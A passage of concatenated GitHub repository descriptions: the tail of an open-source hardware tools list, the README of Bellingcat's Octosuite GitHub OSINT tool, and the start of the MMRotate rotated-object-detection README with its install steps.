for ADC performance analysis * [awsteria_infra](https://github.com/bluespec/AWSteria_Infra) * Middleware for AWS hosted FPGA applications * [anasysmod](https://github.com/sgherbst/anasymod) * Framework for FPGA emulation of mixed-signal systems * [cocotb](https://github.com/cocotb/cocotb) * Coroutine based cosimulation library for writing VHDL and Verilog testbenches in Python * [cocotbext-axi](https://github.com/alexforencich/cocotbext-axi) * AXI interface modules for Cocotb * [cocotbext-pcie](https://github.com/alexforencich/cocotbext-pcie) * PCI express simulation framework for Cocotb * [constrainedrandom](https://github.com/imaginationtech/constrainedrandom) * Python package for creating and solving constrained randomization problems * [cvc](https://github.com/d-m-bailey/cvc) * CVC: Circuit Validity Checker * [core-v-verif](https://github.com/openhwgroup/core-v-verif) * Functional verification project for the CORE-V family of RISC-V cores * [ddr5_phy](https://github.com/Shehab-Naga/ddr5_phy) * UVM testbench for DDR5 PHY * [fault](https://github.com/leonardt/fault) * Python package for testing hardware * [force-riscv](https://github.com/openhwgroup/force-riscv) * Instruction Set Generator for RISC-V * [frame](https://github.com/maestro-project/frame) * Fast Roofline Analytical Modeling and Estimation * [fstdumper](https://github.com/semify-eda/fstdumper) * Verilog VPI module to dump FST (Fast Signal Trace) databases * [lctime](https://codeberg.org/librecell/lctime) * Library cell characterization * [maestro](https://github.com/maestro-project/maestro) * Analytical cost model evaluating DNN mappings (dataflows and tiling) * [msdsl](https://github.com/sgherbst/msdsl) * Automatic generation of real number models from analog circuits * [netgen](https://github.com/RTimothyEdwards/netgen) * LVS tool for comparing SPICE or verilog netlists * [openplc_v3](https://github.com/thiagoralves/OpenPLC_v3) * OpenPLC Runtime version 3 * [opensta](https://github.com/The-OpenROAD-Project/OpenSTA) (R) :star: * Signoff quality STA engine used by OpenRoad * [opentimer](https://github.com/OpenTimer/OpenTimer) * High performance static timing analysis * [openvaf](https://github.com/pascalkuthe/OpenVAF) * Next generation Verilog-A compiler * [osvvm](https://github.com/OSVVM/OsvvmLibraries) * A VHDL verification framework * [pcievhost](https://github.com/wyvernSemi/pcievhost) * PCIe (1.0a to 2.0) Virtual host model for verilog * [pyspice](https://github.com/PySpice-org/PySpice) * Python interface for ngspice and xyce * [pyucis](https://github.com/fvutils/pyucis) * Python API to Unified Coverage Interoperability Standard (UCIS) Data * [pyuvm](https://github.com/pyuvm/pyuvm) * SystemVerilog UVM written in Python * [pyvsc](https://github.com/fvutils/pyvsc) * Python packages or SystemVerilog UVM style Verification Stimulus and Coverage * [raft](https://github.com/Xilinx/RAFT) * Rapid Abstraction FPGA Toolbox * [riscv-dv](https://github.com/chipsalliance/riscv-dv) * Random instruction generator for RISC-V processor verification * [rohd-cosim](https://github.com/intel/rohd-cosim) * Framework for cosimulation between the ROHD simulator and SystemVerilog simulators. * [rohd-vf](https://github.com/intel/rohd-vf) * ROHD-based verification and testbench framework in Dart. * [switchboard](https://github.com/zeroasiccorp/switchboard/) (R) :star: * Communication framework for RTL simulation and emulation * [svreal](https://github.com/sgherbst/svreal) * Synthesizable real number library in SystemVerilog (fixed & floating point formats) * [systemctlm-cosim-demo](https://github.com/Xilinx/systemctlm-cosim-demo) * Demo system for libsystemctlm-soc library * [sv_waveterm](https://github.com/PeterMonsson/sv_waveterm) * Generate text waves in simulation log file * [tvip-apb](https://github.com/taichi-ishitani/tvip-apb) * UVM based AMBA APB VIP * [tvip-axi](https://github.com/taichi-ishitani/tvip-axi) * UVM based AMBA AXI VIP * [uvvm](https://github.com/UVVM/UVVM) * Library for making very structured VHDL-based testbenches. * [v2k-top](https://github.com/kev-cam/v2k-top) * Parser/simulation framework for Verilog & C++ * [vidbo](https://github.com/olofk/vidbo) * Virtual development board * [vunit](https://github.com/VUnit/vunit) * Unit testing framework for VHDL/SystemVerilog ## Physics * [devsim](https://github.com/devsim) * TCAD Semiconductor Device Simulator * [elmer](https://github.com/ElmerCSC/elmerfem) * Finite Element Solver * [femwell](https://github.com/HelgeGehring/femwell) * Finite element based simulation tool for integrated circuits, electric and photonic * [hotspot](https://github.com/uvahotspot/HotSpot) * Thermal modeling tool for use in architectural studies * [meep](https://github.com/NanoComp/meep) * Finite-difference-time-domain (FDTD) electromagneic simulation * [paraview](https://github.com/Kitware/ParaView) * Data Analysis and Visualization Application * [pact](https://github.com/peaclab/PACT) * Thermal simulator * [scikit-rf](https://github.com/scikit-rf/scikit-rf) * RF and Microwave Engineering Scikit ## Waveform Viewers * [scviewer](https://github.com/Minres/SCViewer) * Eclipse plugins to display VCD (e.g. created by SystemC VCD trace). * [d3wave](https://github.com/Nic30/d3-wave) * D3.js based wave (signal) visualizer * [gtkwave](https://github.com/gtkwave/gtkwave) (R) :star: * GTK+ based VCD waveform viewer * [iio-oscilloscope](https://github.com/analogdevicesinc/iio-oscilloscope) * GTK+ based oscilloscope application for interfacing with various IIO devices * [konata](https://github.com/shioyadan/Konata) * Instruction pipeline visualizer for Gem5 * [npTDMS](https://github.com/adamreeve/npTDMS) * Python module for reading TDMS files produced by LabView * [scopy](https://github.com/analogdevicesinc/scopy) * Software oscilloscope and signal analysis toolset * [sigrok](https://github.com/sigrokproject) * Portable, signal analysis software suite (logic analyzers, scopes, multimeters, and more) * [simview](https://github.com/pieter3d/simview) * Text-based SystemVerilog design browser and waveform viewer * [sootty](https://github.com/Ben1152000/sootty) * Command-line tool for displaying vcd waveforms * [spyci](https://github.com/gmagno/spyci) * Python package to parse spice raw data files * [verilog-vcd-parser](https://github.com/ben-marshall/verilog-vcd-parser) * Parser for Value Change Dump (VCD) files * [wavebin](https://github.com/sam210723/wavebin) * Oscilloscope waveform capture viewer and converter * [waveforms-live](https://github.com/Digilent/waveforms-live) * Browser based analog waveform viewer # Designs & Generators ## Accelerators * [aes](https://github.com/secworks/aes) * Symmetric block cipher AES (Advanced Encryption Standard) * [ara](https://github.com/pulp-platform/ara) * Vector Unit, compatible with the RISC-V Vector Extension * [bfg](https://github.com/growly/bfg) * Compiler for Reduced-Complexity Reconfigurable Fabrics * [bismp](https://github.com/EECS-NTNU/bismo/) * Chisel-based bit-serial matrix multiplication accelerator generator * [finn](https://github.com/Xilinx/finn) * Quantized NN to FPGA dataflow accelerator generator * [fftgenerator](https://github.com/ucb-bar/FFTGenerator) * MMIO-Based FFT Generator * [fpu](https://github.com/dawsonjon/fpu) * Synthesizable ieee 754 floating point library in verilog * [garnet](https://github.com/StanfordAHA/garnet) * CGRA generator * [gemmini](https://github.com/ucb-bar/gemmini) * Berkeley Spatial Array Generator * [gplgpu](https://github.com/asicguy/gplgpu) * GPL v3 2D/3D graphics engine in verilog * [core_jpeg](https://github.com/ultraembedded/core_jpeg) * High throughput JPEG decoder in Verilog for FPGA * [fftgenerator](https://github.com/ucb-bar/FFTGenerator) * Chisel based FFT generator * [h265-encoder-rtl](https://github.com/openasic-org/h265-encoder-rtl) * H.265 Video Encoder IP Core * [logicnets](https://github.com/Xilinx/logicnets) * Train and generate LUT-based neural networks * [nngen](https://github.com/NNgen/nngen) * Fully-Customizable Hardware Synthesis Compiler for Deep Neural Network * [nvdla](https://github.com/nvdla/hw) * NVIDIA Deep Learning Accelerator (NVDLA) * [nyuziprocessor](https://github.com/jbush001/NyuziProcessor) * GPGPU microprocessor architecture * [opencgra](https://github.com/pnnl/OpenCGRA) * Parametrizable Coarse-Grained Reconfigurable Array (CGRA) Generator * [openofdm](https://github.com/jhshi/openofdm) * 802.11 OFDM PHY decoder * [openspike](https://github.com/sfmth/OpenSpike) * Spiking neural network accelerator * [project-zipline](https://github.com/opencomputeproject/Project-Zipline) * Zipline lossless compression implementation * [pyfda](https://github.com/chipmuenk/pyFDA) * Python Filter Design Analysis Tool * [ranc](https://github.com/UA-RCL/RANC) * Reconfigurable architecture for neuromorphic computing * [sha256](https://github.com/secworks/sha256) * SHA-256 hash function (NIST FIPS 180-4) * [sha512](https://github.com/secworks/sha512) * SHA-512 hash function (NIST FIPS 180-4) * [sha3](https://github.com/ucb-bar/sha3) * Berkeley SHAR3 ROCC Accelerator * [serpens](https://github.com/linghaosong/Serpens) * HBM FPGA based SpMV Accelerator * [sextans](https://github.com/linghaosong/Sextans) * FPGA accelerator for Sparse-Matrix Dense-Matrix Multiplication (SpMM) * [spiral](https://github.com/spiral-software/spiral-software) * Spiral based FFT generator * [tvm-vta](https://github.com/apache/tvm-vta) * Opwn, modular, deep learning accelerator * [verigood-ml](https://github.com/VeriGOOD-ML/public) * Verilog Generator, Optimized for Designs for Machine Learning * [verigpu](https://github.com/hughperkins/VeriGPU) * OpenSource GPU, loosely based on RISC-V ISA * [verilog-lfsr](https://github.com/alexforencich/verilog-lfsr) * Parametrizable combinatorial parallel LFSR/CRC module * [vortex](https://github.com/vortexgpgpu/vortex) * Full-system RISCV-based GPGPU processor ## Analog Circuits * [ams_kgd](https://github.com/USCPOSH/AMS_KGD) * Repository for Known Good Analog Designs (KGDs) * [analog_blocks](https://github.com/mabrains/Analog_blocks) * Basic building blocks (OTA, BandGap and LDO) in Skywater 130nm. * [openfasoc](https://github.com/idea-fasoc/OpenFASOC) * Automated Mixed Signal SoC Synthesis Framework * [open-pmic](https://github.com/westonb/open-pmic) * Current mode buck converter on the SKY130 PDK ## Chip Packaging * [bsg_packaging](https://github.com/bespoke-silicon-group/bsg_packaging) * Open-Source Hardware Accelerator Packages and Sockets ## Boards * [bsg_motherboards](https://github.com/bespoke-silicon-group/bsg_motherboards) * BaseJump Hardware Accelerator Motherboards * [gmm7550](https://github.com/ak-fau/gmm7550) * CologneChip GateMate FPGA Module: GMM-7550 * [google-coral-baseboard](https://github.com/antmicro/google-coral-baseboard) * Open hardware baseboard for the Google Coral i.MX8 + Edge TPU SoM * [hardware-components](https://github.com/antmicro/hardware-components) * Collection of KiCad components * [parallella-hw](https://github.com/parallella/parallella-hw) * Collection of open source boards from Adapteva ## Connectivity * [aib](https://github.com/chipsalliance/aib-phy-hardware) * Advanced Interface Bus (AIB) die to die hardware * [aib-protocols](https://github.com/chipsalliance/aib-protocols) * Advanced Interface Bus (AIB) Protocol IP * [axi](https://github.com/pulp-platform/axi) * AXI SystemVerilog synthesizable IP * [axi4_aib_bridge](https://github.com/lmco/axi4_aib_bridge) * AXI4/AIB Bridge RTL * [bsg_ddr3_io](https://github.com/bespoke-silicon-group/bsg_ddr3_io) * BaseJump DDR3 I/O Design * [core_ddr3_controller](https://github.com/ultraembedded/core_ddr3_controller) * DDR3 memory controller in Verilog for various FPGAs * [ctucanfd_ip_core](https://gitlab.fel.cvut.cz/canbus/ctucanfd_ip_core) * CAN with Flexible Data-rate IP Core developed at Department of Measurement of FEE CTU * [hdmi](https://github.com/hdl-util/hdmi) * Send video/audio over HDMI on an FPGA * [i2c](https://github.com/hdl-util/i2c) * Fully featured implementation of Inter-IC (I2C) bus master * [idma](https://github.com/pulp-platform/iDMA) * Modular, parametrizable, and highly flexible Data Movement Accelerator * [io-gen](https://github.com/GT-CHIPS/IO-Gen) * IO cell generator * [litedram](https://github.com/enjoy-digital/litedram) * Small footprint and configurable DRAM (litex) * [liteeth](https://github.com/enjoy-digital/liteeth) * Small footprint and configurable Ethernet core * [litescope](https://github.com/enjoy-digital/litescope) * Small footprint and configurable embedded FPGA logic analyzer * [litepice](https://github.com/enjoy-digital/litepcie) * Small footprint and configurable PCIe core * [nocrouter](https://github.com/agalimberti/NoCRouter) * Network-on-Chip Router * [omi_device_ice](https://github.eom/OpenCAPI/omi_device_ice) * Open memory interface example device * [opencapi_accel](https://github.com/OpenCAPI/oc-accel) * OpenCAPI acceleration framework * [opencapi_client](https://github.com/OpenCAPI/OpenCAPI3.0_Client_RefDesign) * OpenCAPI client reference design * [openserdes](https://github.com/SparcLab/OpenSERDES) * Digitally synthesizable architecture for SerDes using Skywater130 * [pymtl3-net](https://github.com/cornell-brg/pymtl3-net) * Cornell parameterizable OCN (on-chip network) generator * [ravenoc](https://github.com/aignacio/ravenoc) * Configurable HDL NoC (Network-On-Chip) * [tnoc](https://github.com/taichi-ishitani/tnoc) * Network on Chip Implementation written in SytemVerilog * [usb3_camera](https://github.com/circuitvalley/USB_C_Industrial_Camera_FPGA_USB3) * USB C Industrial Camera Project * [usb_cdc](https://github.com/ulixxe/usb_cdc/) * Minimal USB CDC (ACM) implementation in verilog * [usb_dfu](https://github.com/ulixxe/usb_dfu/tree/main) * Verilog implementation of the USB Device Class Specification for Device Firmware Upgrade (DFU), version 1.1 * [umi](https://github.com/zeroasiccorp/umi) (R) :star: * Universal Memory Interface * [verilog-axis](https://github.com/alexforencich/verilog-axis) * Verilog AXI stream components for FPGA implementation * [verilog-ethernet](https://github.com/alexforencich/verilog-ethernet) * Verilog Ethernet components for FPGA implementation * [verilog-i2c](https://github.com/alexforencich/verilog-i2c) * Verilog I2C interface for FPGA implementation * [verilog-uart](https://github.com/alexforencich/verilog-uart) * Verilog UART * [verilog-pcie](https://github.com/alexforencich/verilog-pcie) * Verilog PCI express components * [verilog-wishbone](https://github.com/alexforencich/verilog-wishbone) * Verilog wishbone components * [vis4mesh](https://github.com/ueqri/vis4mesh) * Visualization tool for designing mesh Network-on-Chips * [vivado-library](https://github.com/Digilent/vivado-library) * IP cores and interface definitions compatible with Xilinx Vivado IP Catalog * [wav-d2d-hw](https://github.com/waviousllc/wav-d2d-hw) * 8lane Wlink with D2D and a single AXI Target/Initiator * [wav-lpddr-hw](https://github.com/waviousllc/wav-lpddr-hw) * DDR (WDDR) Physical interface (PHY) Hardware * [wav-slink-hw](https://github.com/waviousllc/wav-slink-hw) * Chiplet link * [wav-wlink-hw](https://github.com/waviousllc/wav-wlink-hw) * Chiplet link ## CPUs * [a2i](https://github.com/openpower-cores/a2i) * A2I POWER processor core RTL (VHDL) * [ara](https://github.com/pulp-platform/ara) * 64-bit Vector unit coprocessor to Ccva6 * [black-parrot](https://github.com/black-parrot/black-parrot) * Linux-capable RISC-V multicore * [cfu-playground](https://github.com/google/CFU-Playground/) * Famework for playing with custom opcodes to accelerate TensorFlow Lite for Microcontrollers * [cores-swerv](https://github.com/chipsalliance/Cores-SweRV) * SweRV EH1 RISC-Vcore * [cores-swerv-el2](https://github.com/chipsalliance/Cores-SweRV-EL2) * SweRV EL2 RISC-V Core * [core-v-verif](https://github.com/openhwgroup/core-v-verif) * Functional verification project for the CORE-V family of RISC-V cores * [cva6](https://github.com/openhwgroup/cva6) (R) :star: * Linux capable RISC-V CPU * [cve2](https://github.com/openhwgroup/cve2) * Small two-stage 32 bit RISC-V CPU core (RV32IMC/EMC) * [cv32e40s](https://github.com/openhwgroup/cv32e40s) * RV32IMFCX RISC-V 4-stage secure RISC-V CPU * [cv32e40x](https://github.com/openhwgroup/cv32e40x) * RV32IMFCX RISC-V 4-stage compute RISC-V CPU * [cvw](https://github.com/openhwgroup/cvw) * Configurable RISC-V Processor for RISC-V System-on-Chip Design textbook. * [ibex](https://github.com/lowRISC/ibex) (R) :star: * Small 32 bit RISC-V CPU core * [lizard](https://github.com/cornell-brg/lizard) * Cornell modular RV64IM Out-of-Order Processor Built with PyMTL * [microwatt](https://github.com/antonblanchard/microwatt) * Open POWER ISA softcore written in VHDL 2008 * [minimax](https://github.com/gsmecher/minimax) * A Compressed-First, Microcoded RISC-V CPU * [muntjac](https://github.com/lowRISC/muntjac) * Simple 64-bit RISC-V multicore processor * [neorv32](https://github.com/stnolting/neorv32) * Customizable and highly extensible MCU-class 32-bit RISC-V (VHDL) * [openxiangshan](https://github.com/OpenXiangShan/XiangShan) * Open-source high-performance RISC-V processor * [picorv32](https://github.com/YosysHQ/picorv32) (R) :star: * Size-Optimized RISC-V CPU * [rocket-chip](https://github.com/chipsalliance/rocket-chip) (R) :star: * Linux capable RISC-V Rocket Chip Generator * [rioschip](https://github.com/b224hisl/rioschip) * Out of order RISC-V core * [serv](https://github.com/olofk/serv) * SErial RISC-V CPU * [snitch](https://github.com/pulp-platform/snitch) * Lean but mean RISC-V system * [veer](https://github.com/chipsalliance/Cores-VeeR-EL2) * 32-bit integer machine-mode RISC-V CPU * [vroom](https://github.com/MoonbaseOtago/vroom) * High performance RISC-V CPU ## FPGA Architectures * [fabulous](https://github.com/FPGA-Research-Manchester/FABulous) * Fabric generator and CAD tools * [fabric_team](https://github.com/ucb-cs250/fabric_team) * Simple Berkeley FPGA generator class project * [openfpga](https://github.com/lnis-uofu/OpenFPGA) * FPGA IP Generator * [prga](https://github.com/PrincetonUniversity/prga) * Open-source FPGA research and prototyping framework ## Libraries * [basejump_stl](https://github.com/bespoke-silicon-group/basejump_stl) * Library of SystemVerilog components * [basic_verilog](https://github.com/pConst/basic_verilog) * Library of SystemVerilog components * [berkeley-hardfloat](https://github.com/ucb-bar/berkeley-hardfloat) * Berkeley hardware floating point units * [common_cells](https://github.com/pulp-platform/common_cells) * Library of SystemVerilog components * [cvfpu](https://github.com/openhwgroup/cvfpu) * Parametric floating-point unit * [hdl](https://github.com/analogdevicesinc/hdl) * Library of Analog Deveices specific components * [lambdalib](https://github.com/siliconcompiler/lambdalib) (R) :star: * Hardware abstraction library * [lambdapdk](https://github.com/siliconcompiler/lambdapdk) (R) :star: * Library of open source Process Design Kits (PDKs) * [libsv](https://github.com/bensampson5/libsv) * Parameterized SystemVerilog digital hardware library * [mathlib](https://github.com/asfigo/mathlib) * SystemVerilog MathLib * [oh](https://github.com/aolofsson/oh) (R) :star: * Library of Verilog components * [pztb-core](https://github.com/pezy-computing/pztb-core) * Collection of class libraries for testbench development * [pzbcm](https://github.com/pezy-computing/pzbcm) * Basic common modules * [rohd-hcl](https://github.com/intel/rohd-hcl) * Library of reusable & configurable hardware components developed with ROHD * [vlsiffra](https://github.com/antonblanchard/vlsiffra) * Fast and efficient standard cell based adders, multipliers and multiply-adders ## Memory * [core_axi_cache](https://github.com/ultraembedded/core_axi_cache) * 128KB AXI cache (32-bit in, 256-bit out) * [cv-hpdcache](https://github.com/openhwgroup/cv-hpdcache) * High-Performance L1 Dcache * [bsg_fakeram](https://github.com/bespoke-silicon-group/bsg_fakeram) * Fake RAM generator * [huancun](https://github.com/OpenXiangShan/HuanCun) * Open-source high-performance non-blocking cache * [openram](https://github.com/VLSIDA/OpenRAM) * Static random access memory (SRAM) compiler. * [lake](https://github.com/StanfordAHA/lake) * Synthesizable memory generator ## Systems * [caliptra](https://github.com/chipsalliance/caliptra) * Caliptra Root of Trust Architecture * [caliptra-rtl](https://github.com/chipsalliance/caliptra-rtl) * Caliptra Root of Trust (RTL) * [beagle_sdr_gps](https://github.com/jks-prv/Beagle_SDR_GPS) * KiwiSDR: BeagleBone web-accessible GPS/SDR * [bsg_manycore](https://github.com/bespoke-silicon-group/bsg_manycore) * Tile based architecture designed for computing efficiency, scalability * [cep](https://github.com/CommonEvaluationPlatform/CEP) * RISC-V based Common Evaluation Platform (CEP) * [esp](https://github.com/sld-columbia/esp) * Heterogeneous SoC architecture and IP design platform * [falcon](https://github.com/falkenber9/falcon) * Fast Analysis of LTE Control channels * [hero](https://github.com/pulp-platform/hero) * FPGA-based research platform for heterogeneous design * [litex](https://github.com/enjoy-digital/litex) * SoC builder framework * [openfasoc](https://github.com/idea-fasoc/OpenFASOC) * Open Source FASOC generators * [openpiton](https://github.com/PrincetonUniversity/openpiton) * General purpose, multithreaded manycore processor * [opentitan](https://github.com/lowRISC/opentitan) * Open source silicon root of trust * [openwifi-hw](https://github.com/open-sdr/openwifi-hw) * IEEE 802.11 WiFi baseband FPGA (chip) design * [pulp](https://github.com/pulp-platform/pulp) * Multicore RISC-V based SoC * [pulpissimo](https://github.com/pulp-platform/pulpissimo) * Single core RISC-V based SoC * [rose](https://github.com/ucb-bar/RoSE) * Unified simulation platform for robotic systems * [senseq](https://github.com/EMIL-YORKU/SensSeq) * Mixed-signal system on chip for nanopore-based DNA sequencing * [verilogboy](https://github.com/zephray/VerilogBoy) * Game Boy compatible machine with Verilog * [wulpus](https://github.com/pulp-bio/wulpus) * Wearable low-power ultrasound probe * [x-heep](https://github.com/esl-epfl/x-heep) * Extendable and configurable RISC-V SoC ## Boards * [artix-dc-scm](https://github.com/antmicro/artix-dc-scm) * Antmicro OCP data center secure control module * [arty-mpw-tester](https://github.com/antmicro/arty-mpw-tester) * Antmicro Caravel fanout board * [fomu](https://github.com/im-tomu/fomu-hardware) * Tiny USB FPGA board * [icebreaker](https://github.com/icebreaker-fpga/icebreaker) * Low cost FPGA development board * [lpddr5-testbed](https://github.com/antmicro/lpddr5-testbed) * Antmicro lpddr5 testbed * [PicoEVB](https://github.com/RHSResearchLLC/PicoEVB) * M.2 80mm Artix FPGA evaluation board * [qomu-dev-board](https://github.com/QuickLogic-Corp/qomu-dev-board) * Quicklogic efpga USB dev board * [scalenode-cm4-baseboard](https://github.com/antmicro/scalenode-cm4-baseboard) * Antmicro basedboard for RPI CM4 * [sodimm-ddr5-tester](https://github.com/antmicro/sodimm-ddr5-tester) * Antmicro ddr5 tester board # Education ## Analog Design * [book-on-mos-stagse](https://github.com/bmurmann/Book-on-MOS-stages) * Analysis and Design of Elementary MOS Amplifier Stages * [SiliWiz](https://tinytapeout.com/siliwiz/introduction/) * Browser based interactive circuit design tool. ## Board Design ## Digital Design * [cornell-ece4750](https://github.com/cornell-ece4750) * ECE 4750 Computer Architecture * [cornell-ece5745](https://github.com/cornell-ece5745) * ECE 5745 Complex Digital ASIC Design * [stanford-ee272a](https://priyanka-raina.github.io/ee272a-winter2021) * EE272A Design Projects in VLSI Systems I * [stanford-ee272b](https://priyanka-raina.github.io/ee272b-spring2021) * EE272B Design Projects in VLSI Systems II ## FPGA Design ---- # Other Awesome Lists * [ben-marshall](https://github.com/ben-marshall/awesome-open-hardware-verification) * Hardware verification * [computer-engineering-resources](https://github.com/rajesh-s/computer-engineering-resources) * A curated list of Computer Engineering/Architecture resources * [delftopenhardware](https://github.com/delftopenhardware/awesome-open-hardware) * Open hardware materials * [drom](https://github.com/drom/awesome-hdl) * HDL languages * [hdl](https://github.com/hdl/awesome) * Hardware description resources * [kicad-3rd-party-tools](https://github.com/devbisme/kicad-3rd-party-tools) * List of 3rd party KiCad software packages * [mattvenn](https://github.com/mattvenn/awesome-opensource-asic-resources) * ASIC resources * [pkuzjx](https://github.com/pkuzjx/eda-collection) * Open source EDA resources * [semiconduoctor-startups](https://github.com/aolofsson/awesome-semiconductor-startups) * Semiconductor startups

List of awesome open source hardware tools, generators, and reusable designs

bellingcat/octosuite

 A framework for gathering open-source intelligence on GitHub users, repositories and organisations [](https://github.com/bellingcat/octosuite/actions/workflows/python-publish.yml) [](https://github.com/bellingcat/octosuite/actions/workflows/codeql.yml)        # Wiki [Refer to the Wiki](https://github.com/bellingcat/octosuite/wiki) for installation instructions, in addition to all other documentation. # Features - [x] Fetches an organisation's profile information - [x] Fetches an oganization's events - [x] Returns an organisation's repositories - [x] Returns an organisation's public members - [x] Fetches a repository's information - [x] Returns a repository's contributors - [x] Returns a repository's languages - [x] Fetches a repository's stargazers - [x] Fetches a repository's forks - [x] Fetches a repository's releases - [x] Returns a list of files in a specified path of a repository - [x] Fetches a user's profile information - [x] Returns a user's gists - [x] Returns organisations that a user owns/belongs to - [x] Fetches a user's events - [x] Fetches a list of users followed by the target - [x] Fetches a user's followers - [x] Checks if user A follows user B - [x] Checks if user is a public member of an organisations - [x] Gets a user's subscriptions - [x] Searches users - [x] Searches repositories - [x] Searches topics - [x] Searches issues - [x] Searches commits - [x] Automatically logs network/user activity (.logs folder) - [x] User can manage logs (view, read, delete) - [x] Results can be saved to a .csv file (varies) - [x] User can manage csv files (view, read, delete) - [x] All the above can be used with command-line arguments (PyPI Package only) - [x] And more... # TODO - [ ] Rewrite the GUI in Visual Basic .NET (in progress) ## Note > Octosuite automatically logs network and user activity of each session, the logs are saved by date and time in the .logs folder # License  # Credits * The code used for finding emails from usernames is taken from [Somdev Sangwan](https://github.com/s0md3v)'s [Zen](https://github.com/s0md3v/zen) # Donations If you like OctoSuite and would like to show support, you can Buy A Coffee for the developer using the button below <a href="https://www.buymeacoffee.com/189381184" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/default-orange.png" alt="Buy Me A Coffee" height="41" width="174"></a> Your support will be much appreciated😊

GitHub Data Analysis Framework.

github,data-analysis

open-mmlab/mmrotate

<div align="center"> <img src="resources/mmrotate-logo.png" width="450"/> <div>&nbsp;</div> <div align="center"> <b><font size="5">OpenMMLab website</font></b> ^{<a href="https://openmmlab.com"> <i><font size="4">HOT</font></i> </a>} &nbsp;&nbsp;&nbsp;&nbsp; <b><font size="5">OpenMMLab platform</font></b> ^{<a href="https://platform.openmmlab.com"> <i><font size="4">TRY IT OUT</font></i> </a>} </div> <div>&nbsp;</div> [](https://pypi.org/project/mmrotate) [](https://mmrotate.readthedocs.io/en/latest/) [](https://github.com/open-mmlab/mmrotate/actions) [](https://codecov.io/gh/open-mmlab/mmrotate) [](https://github.com/open-mmlab/mmrotate/blob/main/LICENSE) [](https://github.com/open-mmlab/mmrotate/issues) [](https://github.com/open-mmlab/mmrotate/issues) [📘Documentation](https://mmrotate.readthedocs.io/en/latest/) | [🛠️Installation](https://mmrotate.readthedocs.io/en/latest/install.html) | [👀Model Zoo](https://mmrotate.readthedocs.io/en/latest/model_zoo.html) | [🆕Update News](https://mmrotate.readthedocs.io/en/latest/changelog.html) | [🚀Ongoing Projects](https://github.com/open-mmlab/mmrotate/projects) | [🤔Reporting Issues](https://github.com/open-mmlab/mmrotate/issues/new/choose) </div> <!--中/英 文档切换--> <div align="center"> English | [简体中文](README_zh-CN.md) </div> ## Introduction MMRotate is an open-source toolbox for rotated object detection based on PyTorch. It is a part of the [OpenMMLab project](https://github.com/open-mmlab). The master branch works with **PyTorch 1.6+**. https://user-images.githubusercontent.com/10410257/154433305-416d129b-60c8-44c7-9ebb-5ba106d3e9d5.MP4 <details open> <summary><b>Major Features</b></summary> - **Support multiple angle representations** MMRotate provides three mainstream angle representations to meet different paper settings. - **Modular Design** We decompose the rotated object detection framework into different components, which makes it much easy and flexible to build a new model by combining different modules. - **Strong baseline and State of the art** The toolbox provides strong baselines and state-of-the-art methods in rotated object detection. </details> ## What's New ### Highlight We are excited to announce our latest work on real-time object recognition tasks, **RTMDet**, a family of fully convolutional single-stage detectors. RTMDet not only achieves the best parameter-accuracy trade-off on object detection from tiny to extra-large model sizes but also obtains new state-of-the-art performance on instance segmentation and rotated object detection tasks. Details can be found in the [technical report](https://arxiv.org/abs/2212.07784). Pre-trained models are [here](https://github.com/open-mmlab/mmrotate/tree/1.x/configs/rotated_rtmdet). [](https://paperswithcode.com/sota/real-time-instance-segmentation-on-mscoco?p=rtmdet-an-empirical-study-of-designing-real) [](https://paperswithcode.com/sota/object-detection-in-aerial-images-on-dota-1?p=rtmdet-an-empirical-study-of-designing-real) [](https://paperswithcode.com/sota/object-detection-in-aerial-images-on-hrsc2016?p=rtmdet-an-empirical-study-of-designing-real) | Task | Dataset | AP | FPS(TRT FP16 BS1 3090) | | ------------------------ | ------- | ------------------------------------ | ---------------------- | | Object Detection | COCO | 52.8 | 322 | | Instance Segmentation | COCO | 44.6 | 188 | | Rotated Object Detection | DOTA | 78.9(single-scale)/81.3(multi-scale) | 121 | <div align=center> <img src="https://user-images.githubusercontent.com/12907710/208044554-1e8de6b5-48d8-44e4-a7b5-75076c7ebb71.png"/> </div> **0.3.4** was released in 01/02/2023: - Fix compatibility with numpy, scikit-learn, and e2cnn. - Support empty patch in Rotate Transform - use iof for RRandomCrop validation Please refer to [changelog.md](docs/en/changelog.md) for details and release history. ## Installation MMRotate depends on [PyTorch](https://pytorch.org/), [MMCV](https://github.com/open-mmlab/mmcv) and [MMDetection](https://github.com/open-mmlab/mmdetection). Below are quick steps for installation. Please refer to [Install Guide](https://mmrotate.readthedocs.io/en/latest/install.html) for more detailed instruction. ```shell conda create -n open-mmlab python=3.7 pytorch==1.7.0 cudatoolkit=10.1 torchvision -c pytorch -y conda activate open-mmlab pip install openmim mim install mmcv-full mim install mmdet git clone https://github.com/open-mmlab/mmrotate.git cd mmrotate pip install -r requirements/build.txt pip install -v -e . ``` ## Get Started Please see [get_started.md](docs/en/get_started.md) for the basic usage of MMRotate. We provide [colab tutorial](demo/MMRotate_Tutorial.ipynb), and other tutorials for: - [learn the basics](docs/en/intro.md) - [learn the config](docs/en/tutorials/customize_config.md) - [customize dataset](docs/en/tutorials/customize_dataset.md) - [customize model](docs/en/tutorials/customize_models.md) - [useful tools](docs/en/tutorials/useful_tools.md) ## Model Zoo Results and models are available in the *README.md* of each method's config directory. A summary can be found in the [Model Zoo](docs/en/model_zoo.md) page. <details open> <summary><b>Supported algorithms:</b></summary> - [x] [Rotated RetinaNet-OBB/HBB](configs/rotated_retinanet/README.md) (ICCV'2017) - [x] [Rotated FasterRCNN-OBB](configs/rotated_faster_rcnn/README.md) (TPAMI'2017) - [x] [Rotated RepPoints-OBB](configs/rotated_reppoints/README.md) (ICCV'2019) - [x] [Rotated FCOS](configs/rotated_fcos/README.md) (ICCV'2019) - [x] [RoI Transformer](configs/roi_trans/README.md) (CVPR'2019) - [x] [Gliding Vertex](configs/gliding_vertex/README.md) (TPAMI'2020) - [x] [Rotated ATSS-OBB](configs/rotated_atss/README.md) (CVPR'2020) - [x] [CSL](configs/csl/README.md) (ECCV'2020) - [x] [R³Det](configs/r3det/README.md) (AAAI'2021) - [x] [S²A-Net](configs/s2anet/README.md) (TGRS'2021) - [x] [ReDet](configs/redet/README.md) (CVPR'2021) - [x] [Beyond Bounding-Box](configs/cfa/README.md) (CVPR'2021) - [x] [Oriented R-CNN](configs/oriented_rcnn/README.md) (ICCV'2021) - [x] [GWD](configs/gwd/README.md) (ICML'2021) - [x] [KLD](configs/kld/README.md) (NeurIPS'2021) - [x] [SASM](configs/sasm_reppoints/README.md) (AAAI'2022) - [x] [Oriented 